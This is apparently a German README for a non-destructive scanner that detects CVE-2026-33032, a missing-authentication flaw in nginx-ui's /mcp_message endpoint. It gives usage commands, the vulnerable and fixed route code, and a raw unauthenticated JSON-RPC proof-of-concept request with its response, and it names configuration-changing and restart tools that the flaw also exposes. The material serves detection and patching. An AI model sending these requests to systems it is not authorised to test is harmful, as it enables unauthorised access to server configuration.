
Nicht-destruktiver Schwachstellen-Scanner für die Umgehung der MCP-Endpunkt-Authentifizierung von Nginx-UI (CVE-2026-33032)
Nicht-destruktiver Schwachstellen-Scanner für Nginx-UI MCP-Endpunkt-Authentifizierungsumgehung
CVE-2026-33032 ist eine Authentifizierungsumgehungsschwachstelle in der Model Context Protocol (MCP)-Integration von nginx-ui. Dem Endpunkt /mcp_message fehlt die Authentifizierungs-Middleware, während er Zugriff auf alle MCP-Tools bietet, wodurch entfernte Angreifer Folgendes tun können:
Authentifizierungs-Asymmetrie: Der Endpunkt /mcp erfordert Authentifizierung, /mcp_message jedoch nicht:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...) // AuthRequired() fehlt
Fail-Open-IP-Whitelist: Die Standard-IP-Whitelist ist leer, was die Middleware als „alle erlauben" behandelt
Beide Endpunkte teilen sich den Handler: Beide leiten an dieselbe mcp.ServeHTTP() weiter, die alle MCP-Tool-Aufrufe verarbeitet
✅ Nicht-destruktive Tests – Verwendet nur schreibgeschützte MCP-Tools
✅ Umfassendes Fingerprinting – Identifiziert nginx-ui-Installationen
✅ Sicherer Proof-of-Concept – Keine Konfigurationsänderungen vorgenommen
✅ Batch-Scanning – Verarbeitet mehrere Ziele aus Datei
✅ Detaillierte Berichte – JSON-Ausgabe für Integration
# Scanner klonen oder herunterladen
git clone https://github.com/Twinson333/cve-2026-33032-scanner.git
cd cve-2026-33032
chmod +x cve-2026-33032-scanner.py
# Abhängigkeiten installieren (falls erforderlich)
pip3 install requests
# Ein einzelnes Ziel scannen
python3 cve-2026-33032-scanner.py -u http://target.com:9000
# Mit ausführlicher Ausgabe scannen
python3 cve-2026-33032-scanner.py -u https://nginx-ui.example.com -v
# Benutzerdefiniertes Timeout
python3 cve-2026-33032-scanner.py -u http://192.168.1.100:9000 -t 15
# Mehrere Ziele aus Datei scannen
python3 cve-2026-33032-scanner.py -f targets.txt
# Mit ausführlicher Ausgabe und JSON-Bericht
python3 cve-2026-33032-scanner.py -f targets.txt -v -o results.json
#Burp-Pingback
python3 cve-2026-33032-scanner.py -u http://target.com:9000 --collaborator abc123.burpcollaborator.net
# targets.txt – eine URL pro Zeile
http://192.168.1.100:9000
https://nginx-ui.corp.com
http://10.0.0.50:9000
Der Scanner führt einen mehrstufigen Erkennungsprozess durch:
Prüft gängige nginx-ui-Endpunkte, um die Installation zu identifizieren:
/api/info – Versionsinformationen/login – Anmeldeseite/api/auth/login – Authentifizierungsendpunkt/mcp und /mcp_message – MCP-EndpunkteTestet den /mcp-Endpunkt, um zu überprüfen, ob er ordnungsgemäß eine Authentifizierung erfordert (Basislinie)
Versucht nicht-destruktive MCP-Tool-Aufrufe über /mcp_message OHNE Authentifizierung:
Wenn ein Tool ohne Authentifizierung erfolgreich ist, ist die Schwachstelle bestätigt.
Der Scanner ruft nur schreibgeschützte MCP-Tools auf:
| Tool | Beschreibung | Auswirkung |
|---|---|---|
nginx_status | Nginx-Dienststatus lesen | Keine Änderungen |
nginx_config_list | Konfigurationsdateien auflisten | Keine Änderungen |
nginx_config_base_path | Konfigurationsverzeichnispfad abrufen | Keine Änderungen |
Explizit vermiedene Tools:
nginx_config_add – Würde Dateien erstellennginx_config_modify – Würde Konfigurationen ändernrestart_nginx / reload_nginx – Dienstunterbrechungnginx_config_enable – Würde aktive Konfigurationen ändern[+] nginx-ui erkannt: 'nginx-ui' in /login gefunden
[+] /mcp-Endpunkt ordnungsgemäß geschützt
[*] Teste /mcp_message-Endpunkt (CVE-2026-33032)...
[*] Versuche Tool: nginx_status – Nginx-Status lesen (am sichersten)
Status: 200
======================================================================
[!] VERWUNDBAR gegenüber CVE-2026-33032
======================================================================
Beweis: nginx_status erfolgreich ohne Authentifizierung ausgeführt
[+] nginx-ui erkannt: Version-Endpunkt zugänglich
[+] /mcp-Endpunkt ordnungsgemäß geschützt
[*] Teste /mcp_message-Endpunkt (CVE-2026-33032)...
[*] Versuche Tool: nginx_status – Nginx-Status lesen (am sichersten)
Status: 401
Authentifizierung erforderlich (geschützt) ✓
[+] NICHT verwundbar – Endpunkt erfordert Authentifizierung
Wenn die Schwachstelle bestätigt ist:
Sofortige Lösung: Authentifizierungs-Middleware zu /mcp_message hinzufügen:
r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
func(c *gin.Context) {
mcp.ServeHTTP(c)
})
Defense in Depth:
Upgrade: Auf die gepatchte nginx-ui-Version aktualisieren, sobald verfügbar
Dieses Tool ist konzipiert für:
Verwenden Sie dieses Tool NICHT auf Systemen, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testgenehmigung haben.
Bei der Meldung dieser Schwachstelle:
Schweregrad: Kritisch (CVSS 9.8+)
Beweis: Scanner-Ausgabe einfügen, die den erfolgreichen nicht authentifizierten MCP-Tool-Aufruf zeigt
Auswirkungskette:
Sicherer PoC: Nur die schreibgeschützten Tools verwenden (nginx_status, nginx_config_list)
POST /mcp_message HTTP/1.1
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "nginx_status",
"arguments": {}
},
"id": 1
}
{
"jsonrpc": "2.0",
"result": {
"content": [
{
"type": "text",
"text": "nginx läuft (PID: 1234)"
}
]
},
"id": 1
}
HTTP/1.1 401 Unauthorized
{
"error": "authentication required"
}
Dieses Tool wird nur für Bildungs- und autorisierte Sicherheitstestzwecke bereitgestellt.
Antony Esthak Twinson @ Cyber Tamarin
Sicherheitsforscher | Bug-Bounty-Jäger
Spezialisiert auf Webanwendungssicherheit & Schwachstellenforschung
Haftungsausschluss: Dieser Scanner führt nur nicht-destruktive Tests durch. Holen Sie immer die entsprechende Genehmigung ein, bevor Sie Systeme testen.